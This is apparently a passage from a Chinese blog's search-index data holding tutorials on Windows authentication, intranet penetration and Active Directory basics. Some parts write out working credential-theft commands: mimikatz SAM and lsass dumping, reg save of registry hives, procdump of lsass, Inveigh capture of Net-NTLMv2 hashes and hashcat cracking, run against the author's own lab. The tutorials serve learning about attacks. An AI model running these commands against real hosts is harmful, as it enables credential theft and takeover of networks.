c:\\Users\\Administrator\\flag\\flag04.txt"","link":"/2023/09/20/%E6%98%A5%E7%A7%8B%E4%BA%91%E9%95%9C-Brute4Road%E9%9D%B6%E5%9C%BA/"},{"title":"第二章-Windows认证机制和协议","text":"<1> Windows认证(1) Windows认证基础windows的认证包括三个部分: 本地认证:用户直接操作计算机登录账户 网络认证:远程连接到工作组中的某个设备 域认证:登录到域环境中的某个设备 windows认证和密码的抓取可以说是内网渗透的第一步 (2) windows本地认证电脑上存储着自己的账号密码,无论电脑是否联网、通外网,只要能开机,就可以输入账号密码登录到电脑中,工作组就是采用本地认证 Windows的登陆密码是储存在系统本地的SAM文件中的,在登陆Windows的时候,系统会将用户输入的密码与 SAM文件中的密码进行对比,如果相同,则认证成功 SAM文件是位于 %SystemRoot%\\system32\\config\\ 目录下的,用于储存本地所有用户的凭证信息 Windows本地认证流程 其中: Windows Logon Process(即winlogon.exe):是Windows NT 用户登陆程序,用于管理用户登陆和退出 LSASS:一个系统进程,用于微软Windows系统的安全机制,它用于本地安全和登陆策略 用户注销、重启、锁屏后,操作系统会让winlogon.exe 显示开机登陆界面,接收用户的输入信息后,将密码交给lsass进程,这个过程中会存一份明文密码,将明文密码加密成NTLM Hash,对SAM数据库进行比较认证 (3) SAM文件和lsass.exe进程详解SAM文件是Windows的用户账户数据库,所有用户的登录名及口令等相关信息都会保存在这个文件里,格式如下: 用户名称:LM-HASH值:NTLM-HASH值 注:SAM文件中的密码并不是以明文的形式存在,他是加密后存储在SAM文件中 Lsass.exe的进程作用非常重要,它主要负责管理本地安全策略和认证机制。这些策略包括 密码策略、账户策略、用户权限、域策略等等。同时,它还负责对用户进行身份认证,以确保只有授权的用户才能访问系统资源 将 winlogon.exe 传过来的明文账号密码进行加密,然后和SAM文件中的密文账号密码作比对。比对成功则登录成功 将收到的明文账号密码在本地内存中保留一份备用 (因此可以在内存抓明文密码) (4) 有什么方式读取SAM文件 在线读取(如果有杀软,读取工具可能会被杀,需要绕杀软) 12# 使用mimikatz在线读mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit 离线读取(文件复制到你的电脑上,不需要绕过杀软) 1234567reg save hklm\\sam sam.hivereg save hklm\\system system.hivemimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive"# nishang的copy-vss进行复制 如果脚本运行在DC上,ntds.dit和SYSTEM hive也能被dump出来copy-vss # 文件会直接保存在当前路径下 弊端:有的文件过大,传输过程容易中断 实际上,能不能离线破解出来这个明文密码都一样 拿到NTLM Hash值即可 因为Windows上的认证都是对这个值认证的,后面的 PTH 哈希传递攻击时会提到。administrator是肯定可以利用进行PTH的。 (5) 有什么方式读取lsass进程 在线读取 lsass进程 从 lsass进程中提取 passwords、keys、pin、tickets等信息 12345678privilege::debugsekurlsa::msv # 获取HASH(LM,NTLM)sekurlsa::wdigest # 通过可逆的方式去内存中读取明文密码sekurlsa::kerberos # 如果域管理员登录了我们电脑,可以以此来获取域管的明文密码sekurlsa::tspkg # 通过tspkg来获取明文密码sekurlsa::livessp # 通过livessp 读取明文密码啊sekurlsa::ssp # 通过ssp读取明文密码sekurlsa::logonPasswords # 通过上述各种方式读取明文密码 离线读取 lsass进程 lsass.exe系统进程 在任务管理器中可以看到。 实际上我们可以 右键-> 创建存储文件 也可以用工具 procedump 1procdump64.exe -accepteula -ma lsass.exe lsass.dmp 复制出来本地使用mimikatz 读取 lsass.dmp文件 1mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" 上面两种方式都可以看到,读取了 NTLM的值,但是明文密码那却是 (null) 为什么会这样呢? 高版本弃用了LM,同时也不再往内存里写入明文密码 <2> Windows LM和NTLM哈希加密过程(1) LM HASH值介绍Windows操作系统通常使用两种方法对用户明文密码进行加密处理。一部分为 LM-Hash,另一部分为NTLM-Hash。 在域环境中,用户信息存储在ntds.dit中,加密后为散列值 Hash结构:username:RID:LM-HASH:NT-HASH LM Hash 全名为 “LAN Manager Hash” ,是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是 DES 加密。尽管LM Hash 比较容易破解,但为了保证系统的兼容性,Windows 只是将 LM Hash禁用了(从 Windows vista 和 Windows Server2008版本开始,Windows操作系统默认禁用LM Hash)。 LM Hash明文密码被限定在14位以内,即如果要停止使用 LM Hash,将用户密码设置成14位以上即可。 如果LM Hash被禁用了,攻击者通过工具抓取的LM Hash通常 为 “ad3435b51404eead3b435b51404ee” (表示LM Hash为空值或被禁用) NTLM Hash是微软为了在提高安全性的同时,保证兼容性而设计的散列加密算法。NTLM Hash是基于 MD4加密算法进行加密的。个人版的Windows vista 以后,服务器版从 Windows Server2003 以后,Windows 操作系统的认证方式均为 NTLM Hash 为了解决加密和身份验证方案中固有的安全弱点,Microsoft 于 1993年在Windows NT 3.1 中引入了NTLM协议。下面是各个版本对 LM Hash和 NTLM Hash的支持 加密类型 2000 XP 2003 Vista Win7 2008 Win8 2012 Win10 2016 Win11 LM-Hash 1 1 1 1 NTLM-Hash 1 1 1 1 1 1 1 (2) LM Hash加密原理假设我们 administrator的密码为 Admin@123 加密过程如下: 将明文口令转换为其大写形式 即 Admin@123 -> ADMIN@123 将字符串大写后转换为16进制字符串 41 44 4D 49 4E 40 31 32 33 密码不足14字节要求用0补全,密码为9个字符,还差5个 补00 补全后为:41 44 4D 49 4E 40 31 32 33 00 00 00 00 00 然后将上述编码分成2组7字节 第一组:41 44 4D 49 4E 40 31 第二组:32 33 00 00 00 00 00 再将每一组7字节的十六进制转换为二进制,每7bit 一组末尾加0,在转换成十六进制组成得到2组8字节的编码 第一组:0100 0001 0100 0100 0100 1101 0100 1001 0100 1110 0100 0000 0011 0001 第二组:0011 0010 0011 0011 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 七位一组分开 末尾加上0 得到: 第一组:0100000010100010000100101010100010010100011100100000000001100010 第二组:0011001000011000110000000000000000000000000000000000000000000000 再挨个转换成十六进制 第一组:40A212A894720062 第二组:3218C00000000000 将以上步骤得到的两组8字节的编码,分别作为DES加密的key 给魔术字符串”KGS!@#$%” 进行加密 KGS!@#$%的16进制为 4B47532140232425 先用第一组当key 得到:6F08D7B306B1DAD4 再用第二组当key 得到:B75E0C8D76954A50 最终拼接即可,6F08D7B306B1DAD4B75E0C8D76954A50 即 Admin@123 的 LM-Hash值 (3) NTLM Hash值介绍NTLM Hash是微软为了在提高安全性的同时,保证兼容性而设计的散列加密算法。NTLM Hash是基于 MD4加密算法进行加密的。个人版的Windows vista 以后,服务器版从 Windows Server2003 以后,Windows 操作系统的认证方式均为 NTLM Hash (4) NTLM hash与NTLM的关系注:NTLM Hash值跟 NTLM协议不是一个东西,别混淆了 NTLM hash为windows认证中的密码哈希散列,而 NTLM是一种网络认证协议,全称 NT LAN Manager,使用NTLM hash作为认证中的根本凭证 LM Hash 即 LM协议所使用的密码hash。NT 和 LM认证机制相同,但加密算法不同,由于 LM Hash比较容易破解,在新一点的版本被淘汰 (5) NTLM Hash加密原理假设我们 administrator的密码为 Admin@123 加密过程如下: 将明文口令转换成十六进制的格式 得到:41646D696E40313233 将十六进制转换成Unicode格式,即在每个字节后添加0x00 得到:410064006D0069006E004000310032003300 对 Unicode字符串 hex转码后作 MD4 加密,生成32位的十六进制字符串 得到:570a9a65db8fba761c1008a51d4c95ab cmd5可以爆破出来这个弱口令 所以 我们电脑里SAM文件存放的hash密文即为 administrator:6F08D7B306B1DAD4B75E0C8D76954A50:570a9a65db8fba761c1008a51d4c95ab 如果 LM hash被禁用,那么中间的LM Hash应该就是 “aad3b435b51404eeaad3b435b51404ee” 我们利用 mimikatz 抓密码工具 再来验证一下 123mimikatz.exe # 进入到mimikatz的命令行privilege::debug # 提到debug权限sekurlsa::logonPasswords # 通过各种方式抓取密码 一模一样 用python 来进行NTLM加密的话,代码为: 1234567import binasciiunicode_str = "Admin@123".encode("utf-16le") # 转unicode格式,每个字节后加00print(unicode_str)hex_str = binascii.hexlify(unicode_str)print(hex_str.decode())# b'A\\x00d\\x00m\\x00i\\x00n\\x00@\\x001\\x002\\x003\\x00'# 410064006d0069006e004000310032003300 可以得到第二步对应的 16进制串,然后使用hashcalc加密即可 <3> Windows网络认证当我们访问同一局域网的一台主机上的SMB共享时提供凭证通过验证才能成功进行访问,这就涉及到windows的网络认证 (1) 网络认证概述网络认证:Windows网络认证是指在Windows 操作系统中进行网络通信和资源访问时,验证用户身份和授权权限的过程。它确保只有经过身份验证的用户能够访问网络资源,并根据其权限级别进行授权操作。 网络认证有哪些? (2) NTLM协议NTLM:NTLM 即 NT LAN Manager,是一种早期的Windows 网络认证协议,它基于 挑战(Challenge)/响应(Response)的方式进行身份认证。尽管Kerberos 已经成为首选的认证协议,NTLM 在某些情况下仍在使用,特别在旧版Windows系统或非Windows系统进行交互操作时 NTLM中继(NTLM Relay):是指在NTLM认证过程中设置中间人对HTLM认证的请求截获并转发的一种攻击行为 (3) NTLM协议认证机制NTLM在工作组环境的认证其认证过程大致分为三步: 协商:解决历史遗留问题,为了能向下兼容,双方会确定一下传输协议的版本等各种信息 质询: 挑战(Challenge)/响应(Response)认证机制的关键 验证:对质询的结果进行验证,验证通过后即 允许访问资源。是认证的最后一步 NTLM协议 v1 v2版本区别 协商时会确定传输协议的版本,这里版本分为v1和v2。 NTLMv1与NTLM v2最显著的区别就是 共同点就是加密的原料都是NTLM Hash 不同点是Challenge与加密算法不同,NTLM v1的Challenge有8位,NTLM v2的Challenge为16位;NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5 工作组中认证过程: 当客户端要访问服务器上某个受保护的服务时,需要输入服务器的用户名和密码进行验证。此时客户端会在本地缓存一份服务器密码的NTLM hash,然后向服务器发送协商消息。 服务器收到客户端的协商信息后,生成并回复质询消息。该消息中包含了一个由服务端生成的16位随机值challenge,服务器也会在本地缓存该值。 客户端收到质询消息后,会使用步骤1中缓存的服务器的NTLM hash 与 Challenge进行一系列加密生成 Response,再将 Response 封装到身份验证消息中发往服务器。 服务器在收到身份验证消息后,用自己密码的NTLM hash与Challenge进行加密生成Response2,并比较Response2与Response是否一致。如果一致,就证明客户端掌握了服务器的密码,认证成功,否则认证失败。 NTLM在域环境下的认证在域环境中,由于所有域用户的哈希值都存储在 域控的 NTDS.dit 中,服务器本身无法计算Response消息,因此需要与域控建立一个安全通道,并通过域控完成最后的认证流程。前三个步骤同工作组环境的认证 域中认证过程: 当域用户输入自己的账号和密码登录客户端主机时,客户端会将用户输入的密码转换为NTLM hash并缓存。当用户想访问域内某台服务器上的资源时,客户端会向服务器发送TYPE1 Negotiate消息 服务器收到客户端的协商信息后,生成并回复质询消息。服务端发送Type2 NTLMSSP_CHALLENGE消息,其中包含16位的随机Challenge值 客户端收到质询消息后,会使用步骤1中缓存的域用户的NTLM hash 与 Challenge进行一系列加密生成 Response。客户端发送Type3 NTLMSSP_AUTH消息,其中包括Response消息 服务端收到客户端发来的Type3 NTLMSSP_AUTH消息后,会将消息通过 Netlogon协议转发给域控制器 域控根据自身计算出的Net-NTLM Hash与服务端发过来的Net-NTLM Hash做比较,然后根据结果对客户端进行相应的回复 (4) NTLM基本概念SSPI/SSPSSPI是安全服务接口是Windows定义的一套接口,该接口定义了与安全有关的功能函数,包括但不限于: 身份验证机制 为其他协议提供会话安全可为通信提供完整性校验以及数据的加密、解密的功能。 SSPI 只是定义了一套接口函数,具体实现有SSP完成。 SSP是SSPI的实现者,微软自己也实现了很多SSP用于提供安全功能 典型的SSP实现: NTLM SSP:Windows NT 3.5中引入(msv1_0.dll)为Windows 2000之前的客户端提供服务器域和非域身份验证(SMB/CIFS)提供NTLM质询/响应身份验证 Kerberos SSP:Windows 2000 中引入为Windows 2000以及更高的版本中首选客户端-服务器域提供相互身份验证 SSPI中定义了会话安全的API,所以上层应用利用任何SSP与远程的服务进行身份验证后,SSP都会为本次的连接生成一个随机key,这个随机key,称为”session key” ,上层的应用经过身份验证后,可以选择性使用这个session key,往服务端或者接收服务端的数据进行签名或加密,SSP就是一个dll,用来实现身份验证等安全功能,不同的SSP实现身份验证的方式是不一样的,比如NTLM SSP实现的是一种基于质询/响应的身份验证机制,Kerberos SSP实现的是基于Tick票据的身份验证机制。 (5) NTLM认证过程抓包分析为了学习方便,又搭了一套域环境 Win2012 IP:192.168.16.10 即 DC Win2008 IP:192.168.16.20 域内主机 我们打开 wireshark 监听 域环境的那个VMNet 使用访问另一台主机的共享 net use \\\\192.168.16.10\\ipc$ /u:administrator Admin@123 根据抓到的数据包,下面也可以看到,net use 是基于SMB协议 我们 先看前四个数据包,Negotiate Protocol Response,是进行协商的 再往下看 第五个数据包,这个是用户启动身份的验证包 flag里确定了一些相关规则 第六个数据包 包含了challenge值 第七个数据包是 发送Response的数据包,还包含账户名的相关信息 客户端根据获得的信息,进行一系列加密得到Response,即这里的 “NTLMv2 Response” 的值 第八个数据包 即返回结果,用来表示成功 or 失败 失败即ERROR (6) challenge和Response分析challenge是随机数,位数取决于 NTLM协议的版本 前面提到了 response是如何组成的 response由 NTProofStr+blob两部分组成 NTProofStr:使用 NTLM v2 Hash值作为key 对(challenge+blob) 进行 HMAC-MD5加密 NTLM v2 Hash:大写Username+Domain name 进行unicode编码,然后和用户名对应密码的 NTLM HASH值进行HMAC-MD5加密 blob是由时间、目标信息、随机填充字符生成 计算公式如下: NTLMv2Hash= HMAC-MD5(unicode(hex(upper(UserName)+DomainName))),NTLM Hash) NTProofStr=HMAC-MD5(challenge+blob,NTLM v2 Hash) 我们平时利用工具攻击时 抓到的往往是 Net-NTLM Hash数据 Net-NTLM-Hash格式介绍及拼接Net-NTLM-v2-Hash的格式为:username::domain:challenge:HMAC-MD5:blob 含义: username 要访问服务器的用户名 domain 域信息 challenge 数据包6中的服务器返回的challenge值 HMAC-MD5 数据包7中的NTProofStr blob 对应数据包7中NTLM v2 Response去掉NTProofStr的后半部分 我们利用中间人攻击 Inveigh工具抓取一下 Net-NTLM-v2-Hash 值 123456powershellPS C:\\Users\\Administrator\\Desktop\\Inveigh> Import-Module .\\Inveigh.ps1PS C:\\Users\\Administrator\\Desktop\\Inveigh> Invoke-Inveigh -ConsoleOutput Y -FileOutput y# 不能加载的话就执行一下 set-ExecutionPolicy RemoteSignednet use \\\\192.168.16.10\\ipc$ /u:administrator Admin@123 1administrator::WIN2008:D5E3F1B5CF0101C8:692B3996DC8BF7F0DA9598E6B59DC63D:010100000000000078C3246656F7D901A0EB39BDD6C96EBA00000000020008004800410043004B000100040044004300040010006800610063006B002E0063006F006D0003001600440043002E006800610063006B002E0063006F006D00050010006800610063006B002E0063006F006D000700080078C3246656F7D90106000400020000000800300030000000000000000000000000300000B2B92C5F984625F199A7B3DA00A7897FD7B57990D2735F2E8E9198F48ADD0A8E0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E00310036002E0031003000000000000000000000000000 可以看到 工具抓取的challenge和NTProofStr跟wireshark的是一样的 1234NTLM HASH:570a9a65db8fba761c1008a51d4c95abchallenge:D5E3F1B5CF0101C8NTProofStr:692B3996DC8BF7F0DA9598E6B59DC63Dblob:010100000000000078C3246656F7D901A0EB39BDD6C96EBA00000000020008004800410043004B000100040044004300040010006800610063006B002E0063006F006D0003001600440043002E006800610063006B002E0063006F006D00050010006800610063006B002E0063006F006D000700080078C3246656F7D90106000400020000000800300030000000000000000000000000300000B2B92C5F984625F199A7B3DA00A7897FD7B57990D2735F2E8E9198F48ADD0A8E0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E00310036002E0031003000000000000000000000000000 我们利用获取的信息手动计算一下,体会加密过程 计算NTLM-v2-HASH 将 administrator转化为大写:ADMINISTRATOR 然后与域名WIN2008 拼接起来:ADMINISTRATORWIN2008 转化成16进制:41444d494e4953545241544f5257494e32303038 转化为unicode格式:410044004d0049004e004900530054005200410054004f005200570049004e003200300030003800 然后 用NTLM HASH:570a9a65db8fba761c1008a51d4c95ab 作为key 对上述进行HMAC-MD5加密 得到:e864d6b3c317322f934b6df3d5c44ffa 即 NTLM-v2-HASH的值 计算 NTProofStr 将 NTLM-v2-HASH值 e864d6b3c317322f934b6df3d5c44ffa 作为key 将 challenge 与 blob 值拼接起来:D5E3F1B5CF0101C8010100000000000078C3246656F7D901A0EB39BDD6C96EBA00000000020008004800410043004B000100040044004300040010006800610063006B002E0063006F006D0003001600440043002E006800610063006B002E0063006F006D00050010006800610063006B002E0063006F006D000700080078C3246656F7D90106000400020000000800300030000000000000000000000000300000B2B92C5F984625F199A7B3DA00A7897FD7B57990D2735F2E8E9198F48ADD0A8E0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E00310036002E0031003000000000000000000000000000 将 NTLM-v2-hash作为key 对上述数据进行 HMAC-MD5加密,得到:692b3996dc8bf7f0da9598e6b59dc63d 验证一下 一致 使用hashcat破解NET-NTLM hashhashcat [option] -m:hash-type,5600对应NetNTLMv2,详细参数可查表:https://hashcat.net/wiki/doku.php -o:输出文件 字典文件为1.txt –force代表强制执行 hashcat 爆破一下我们上面得到的 NET-NTLM-Hash 1hashcat -m 5600 administrator::WIN2008:D5E3F1B5CF0101C8:692B3996DC8BF7F0DA9598E6B59DC63D:010100000000000078C3246656F7D901A0EB39BDD6C96EBA00000000020008004800410043004B000100040044004300040010006800610063006B002E0063006F006D0003001600440043002E006800610063006B002E0063006F006D00050010006800610063006B002E0063006F006D000700080078C3246656F7D90106000400020000000800300030000000000000000000000000300000B2B92C5F984625F199A7B3DA00A7897FD7B57990D2735F2E8E9198F48ADD0A8E0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E00310036002E0031003000000000000000000000000000 rockyou.txt -o result.txt --force (7) NTLM协议的安全性问题 Net-NTLM v1 v2 Hash破解:v1 使用DES加密,更容易破解。v2版本的话可以通过碰撞、彩虹表、暴力猜解等方式,获取明文账号密码 NTLM-relay攻击:通过中间人攻击,如果获得了 Net-NTLM Hash值,如果爆破不出密码 可以考虑NTLM-relay攻击,可以重放 进行认证 参考:https://chenchena.blog.csdn.net/article/details/123274876?spm=1001.2014.3001.5502 <4> Kerberos域认证★传送门:https://1vxyz.github.io/2023/10/05/Kerberos%E8%AE%A4%E8%AF%81%E5%AD%A6%E4%B9%A0/","link":"/2023/09/25/%E7%AC%AC%E4%BA%8C%E7%AB%A0-Windows%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%92%8C%E5%8D%8F%E8%AE%AE/"},{"title":"第一章-内网渗透基础","text":"<1> 内网基础知识内网概述: 内网也指局域网(Local Area Network LAN)是指某一区域内多台计算机互联组成的计算机组。局域网可以实现文件管理、应用软件共享、打印机共享、工作组的历程安排、电子邮件和传真通信服务等功能。 内网是封闭型的,可以由办公室内两台计算机组成,也可以由一个公司内几千台计算机组成。例如:银行、学校、企业、政府机关、单位办公网等都属于此类 我们在研究内网的时候,经常会听到一些例如 “工作组”、”域”、”域控制器(DC)”、”父域”、”子域” 、域树”、”域森林”、”活动目录(AD)”、”DMZ”、”域内权限” 等等专有名词 它们指的是什么呢?又有什么区别呢? (1) 工作组1. 概念Work Group:在一个大的单位里,可能有上千台电脑互相组成局域网。他们列在网络内,如果这些电脑不分组,会十分混乱,要找一台电脑很困难。 和我们的下载的软件分类差不多,不分组的话找起来会很困难。为了解决这个问题,有了”工作组”的概念。 我们将不同的电脑按功能(或部门)分别列入不同的工作组中。你要访问哪个部门资源,直接在”网络”里找到那个部门的工作组名,双击就可以看到那个部门的所有电脑了。这样相比于不分组的情况,对那种大型网络来说,会变得十分有序 2. 加入/创建工作组 右键桌面上的”计算机”,弹出的菜单里选择”属性”,点击”更改设置”,”更改” 在”计算机名”一栏输入你想好的名称,在”工作组”一栏输入你想要加入的工作组名称 如果你输入的工作组名称网络中没有,那么相当于新建了一个工作组,当然暂时只有你的电脑在组内,重新启动之后,再点击进入”网络”,就可以看到你所加入的工作组成员了 3. 退出工作组 只要将工作组名称改动即可。不过在网上别人照样可以访问你的共享资源。你也可以随便加入同一网络上的任何其他工作组。”工作组”就像一个可以自由进入和退出的”社团”,方便同一组的计算机互相访问。 所以工作组并不存在真正的集中管理作用,工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的。 4. 本地工作组权限解读最高管理员权限Administrator 即系统超级管理员 或 超级用户 Administrator 用户在家庭版的电脑中属于是禁用的状态,在专业版和win server里是开启的 Administrator 用户的SID 最后一位是500 Administrator 用户默认在 administrator组中 本地普通管理员权限本地普通管理员是指 加入了 administrator组 但不是administrator用户本身的管理员 由于UAC 认证的存在,他的权限是不如 administrator 超级管理员的 想执行一些高权限的操作,cmd 必须右键 使用管理员身份打开 本地普通用户windows里的普通用户,很多操作执行不了,需要管理员认证之后才可以,默认是user组 UAC认证UAC 即User Account Control,用户帐户控制,是微软在Windows Vista和Win7中引用的新技术,主要功能是进行一些会影响系统安全的操作时,会自动触发UAC,用户确认后才能执行 大部分的恶意软件、木马病毒、广告插件在进入计算机时都会有如:将文件复制到Windows或Program Files等目录、安装驱动、安装 ActiveX 等操作,而这些操作都会触发UAC。面对这些不安全的因素,用户可以在UAC提示时来禁止这些程序的运行 它会在用户尝试运行需要管理员权限的任务、更改系统设置等操作时,通知用户并要求用户提供管理员密码或确认执行此项操作 取决于执行此操作的是 普通管理员还是普通用户,普通用户是需要输入密码的,普通管理员则只需要是或者否即可。UAC在保护系统安全上起到了重要的作用,但它也可能对用户的使用造成不便 绕过UAC也有很多方法 比如: dll劫持、白名单、bypassuac等方法 UAC的触发条件: 修改 Windows Update设置 增加或删除用户 改变用户账户类型 修改UAC设置 安装ActiveX 安装或卸载程序 安装设备驱动 增加或修改注册表 将文件移动或复制到 Program Files或 Windows目录 访问其他用户目录 UAC 的四种设置: Win+R — msconfig 始终通知 仅在程序尝试对我的计算机进行更改时通知 今当程序尝试更改计算机时通知(不降低桌面亮度) 从不通知 本地系统最高权限 SYSTEMSYSTEM 即在 windows中主要作为系统服务或进程的运行账户 SYSTEM 与 Administrator权限区别 Administrator是系统内置的管理员用户,一般平时安装、运行程序、修改系统设置等等都是以这个身份的权限运行 SYSTEM是系统本身的权限,比如任务管理器里面的 winlogon.exe、svchost.exe 这些进程等等,注册表里有些地方只有SYSTEM可以访问,Administrator用户不能访问 两者权限都差不多,只是负责的地方不同,拿到其中一个权限,切换到另一个权限也是很容易的 计划任务、令牌等 5. 一个问题假如一个公司有200台电脑,我们希望某台电脑上的账户Alan可以访问每台电脑内的资源或者可以在每台电脑上登录。那么在”工作组”环境中,我们必须要在这200台电脑的各个SAM数据库中创建Alan这个账户。一旦Alan想要更换密码,必须要更改200次!现在只是200台电脑的公司,如果是有5000台电脑或者上万台电脑的公司呢? 估计管理员会抓狂,等我们看完下面的 域 和 活动目录 ,就可以有更好的办法了。 (2) 域1. 概念域(Domain)是一个有安全边界的计算机集合(安全边界意思是在两个域中,一个域中的用户无法访问另一个域中的资源),可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份 域控制器(Domain Controller,即DC)是一个域中的一台类似管理服务器的计算机,相当于一个单位的门卫一样,它负责每一台联入的电脑和用户的验证工作,域内电脑如果想互相访问首先都是经过它的审核。即验证用户的身份 域控制器中存在由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当计算机连接到域时,域控制器首先要鉴别这台计算机是否属于这个域,以及用户使用的登陆账号是否存在、密码是否正确。若以上信息不正确则拒绝这台计算机的登陆,进而不能访问服务器中的资源。因而DC是十分重要的。 域控制器是整个域的通信枢纽,所有的权限身份验证都在域控制器上进行,即域内所有用来验证过身份的账号和密码hash散列值都保存在域控制器中。内网渗透的目的就是为了获得域控制器 安全域划分 这里就是两个边界,两个域。如果那个电子商务服务器,想访问里面那个域的服务器,需要有一个合法的身份登入那个域中。 2. 域的分类单域 父域,子域 域树(tree) 域森林(forest) DNS域名服务器 2.1 单域 在一般的具有固定地理位置的小公司里,建立一个域就可以满足所需。 一般在一个域内要建立至少两个域服务器,一个作为DC,一个是备份DC。如果没有第二个备份DC,那么一旦DC瘫痪了,则域内的其他用户就不能登陆该域了,因为活动目录的数据库(包括用户的帐号信息)是存储在DC中的。而有一台备份域控制器(BDC),则至少该域还能正常使用,期间把瘫痪的DC恢复了就行了。 2.2 父域出于管理及其他一些需求,需要在网络中划分多个域,第一个域称为父域,各分部的域称为该域的子域。 比如一个大公司,它的不同分公司在不同的地理位置,则需父域及子域这样的结构。 如果把不同地理位置的分公司放在同一个域内,那么他们之间信息交互(包括同步,复制等)所花费的时间会比较长,而且占用的带宽也比较大。(因为在同一个域内,信息交互的条目是很多的,而且不压缩;而在域和域之间,信息交互的条目相对较少,而且压缩。) 还有一个好处,就是子公司可以通过自己的域来管理自己的资源。将对应部门规划为一个域,公司则是一个域树。 还有一种情况,就是出于安全策略的考虑,因为每个域都有自己独有的安全策略。比如一个公司的财务部门希望能使用特定的安全策略(包括帐号密码策略等),那么可以将财务部门做成一个子域来单独管理。 2.3域树域树指若干个域通过建立信任关系组成的集合。一个域管理员只能管理本域的内部,不能访问或者管理其他的域,二个域之间相互访问则需要建立信任关系(Trust Relation)。比如asia.abc.com与Europe.abc.com访问需要建立信任关系 信任关系是连接在域与域之间的桥梁。域树内的父域与子域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。 在一个域树中,父域可以包含很多子域,子域是相对父域来说的,指域名中的每一个段。子域只能使用父域作为域名的后缀,也就是说在一个域树中,域的名字是连续的 2.4 域森林域森林指若干个 域树 通过建立信任关系组成的集合。可以通过域树之间建立的信任关系来管理和使用整个森林中的资源,从而又保持了原有域自身原有的特性。比如:这里域树abc.com与域树abc.net之间通过建立信任关系来构成域森林 这种信任关系是单向 或者 不可传递的 也叫外部信任 2.5 DNS域名服务器(Domain Name Server)DNS域名服务器是进行域名(domain name)和与之相对应的IP地址(IP address)转换的服务器。 在域树的介绍中,可以看到域树中的域的名字和DNS域的名字非常相似,实际上域的名字就是DNS域的名字,因为域中的计算机使用DNS来定位域控制器和服务器以及其他计算机、网络服务等。 一般情况下,我们在内网渗透时就通过 寻找DNS服务器来定位域控制器,因为通常DNS服务器和域控制器会处在同一台机器上。 3. 域信任关系信任关系的概念域(Domain)是一个有安全边界的计算机集合,若无信任关系,则域账户只能在本域内使用。 而信任关系是两个域之间的桥梁,使得域用户账户之间可以相互访问。 信任关系使一个域的DC可以验证其他域的用户,而这种身份验证需要信任路径。例如:A域与B域没有信任关系,A域上的员工使用自己在A域的帐户,将 不能访问B域上的资源。即 两个域之间只有建立适当的信任关系后才可以实现互相访问 信任关系分为:可传递和不可传递的。 是人为可以设置的 可传递:如果A域和B域之间的信任关系是可传递的,B域和C域之间的信任也是可传递的,那么A域和C域之间就会自动创建信任关系 不可传递:如果A域和B域之间的信任关系是不可传递的,或 B域和C域之间的信任也是可传递的,那么A域和C域之间就不会自动创建信任关系 单向信任关系信任是有方向的,信任的方向决定了资源访问的方向 单向信任是在两个域之间创建的单向信任。表明 A域在 与 B域的单向信任中,A域中的用户可以访问B域中的资源,而B域中的用户无法访问A域中的资源 双向信任关系域树 中的所有域信任关系都是双向的、可传递的信任。创建新的子域时,系统会在新的子域和父域之间自动创建双向可传递的信任关系。 在双向信任中,A域 信任 B域,并且 B域信任 A域/这表明可以在两个域之间双向传递身份验证请求。 内外部信任关系内部信任是指同一个域树之间的信任关系,这种关系是可传递的 而外部信任 比如新的 abc.net 域树要加入到 abc.com 要建立一个单向、或双向信任关系 取决于设置 但是这个信任关系是不能传递的,即可abc.com 和 abc.net 双向信任,但 abc.com 想要访问 test.abc.net 是不行的 这种信任关系是单向 或者 不可传递的 也叫外部信任 (3) 活动目录1. 概念活动目录(Active Directory,即AD)是域环境中提供目录服务的组件。 目录是什么? 目录就是存储有关网络对象(如用户、组、计算机、共享资源、打印机和联系人等)的信息。目录服务是帮助用户快速准确的从目录中查找到他所需要的信息的服务。 如果将企业的内网看成是一本字典,那么内网里的资源就是字典的内容,活动目录就相当于字典的索引。即活动目录存储的是网络中所有资源的快捷方式,用户通过寻找快捷方式而定位资源。 2.逻辑结构 在活动目录中,管理员可以完全忽略被管理对象的具体地理位置,而将这些对象按照一定的方式放置在不同的容器中。由于这种组织对象的做法不考虑被管理对象的具体地理位置,这种组织框架称为“逻辑结构“。 活动目录的逻辑结构就包括上面讲到的组织单元(OU)、域(domain)、域树(tree)、域森林(forest)。在域树内的所有域共享一个活动目录,这个活动目录内的数据分散地存储在各个域内,且每一个域只存储该域内的数据。 例:A集团下有甲 乙 丙三家子公司,为了A集团更好的管理这三家公司,可以将这三家公司的域树集中起来组成域森林。A集团可以按照 “A集团(域森林)->子公司(域树)->部门(域)->员工” 的方式对网络进行层次分明的管理。可以使企业网络具有较强的可扩展性,便于进行组织、管理及目录定位。 3.活动目录(AD)主要功能 帐号集中管理,所有帐号均存在服务器上,方便对帐号的重命令/重置密码。 软件集中管理,统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。 环境集中管理,利用AD可以统一客户端桌面,IE,TCP/IP等设置。 增强安全性,统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。 更可靠,更少的宕机时间。如:利用AD控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,岩机时间更少。 活动目录为Microsoft统一管理的基础平台,其它isa,exchange,sms等服务都依赖于这个基础平台。 4. DC和AD的区别、联系 